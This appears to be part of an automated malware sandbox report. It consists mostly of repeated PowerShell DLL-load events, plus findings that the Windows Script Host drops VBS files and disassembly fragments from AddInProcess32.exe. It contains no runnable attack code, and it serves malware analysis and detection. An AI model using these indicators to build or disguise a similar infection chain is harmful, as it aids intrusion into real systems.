Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3743-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Windows Shell Script Host drops VBS files

Source:	Binary string: wntdll.pdbUGP source: AddInProcess32.exe, 00000005.00000002.2429039304.0000000001870000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2429039304.0000000001870000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DD48EE push edi; retf	5_2_00DD48F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DD4097 push ebx; retf	5_2_00DD4098
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DB685F push ecx; iretd	5_2_00DB6862
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DC4843 pushad ; ret	5_2_00DC4844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DCF07B push esp; retf	5_2_00DCF082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DD4070 pushfd ; retf	5_2_00DD4071
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DCE93D pushad ; iretd	5_2_00DCE93E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DB3470 push eax; ret	5_2_00DB3472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DCA5E1 push ss; ret	5_2_00DCA5E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DC5EC3 push 3E994BE1h; retf 1C42h	5_2_00DC5F93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DC3EF3 push edx; retn 42A5h	5_2_00DC3F86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DD4E73 push edi; iretd	5_2_00DD4E7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00DD3E3E push esp; retf	5_2_00DD3E3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A09AD push ecx; mov dword ptr [esp], ecx	5_2_018A09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00E2C54F push 8B00DB67h; ret	14_2_00E2C554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00E2C54D pushfd ; ret	14_2_00E2C54E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00E2C9D7 push edi; ret	14_2_00E2C9D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00DE09AD push ecx; mov dword ptr [esp], ecx	14_2_00DE09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00DB1366 push eax; iretd	14_2_00DB1369
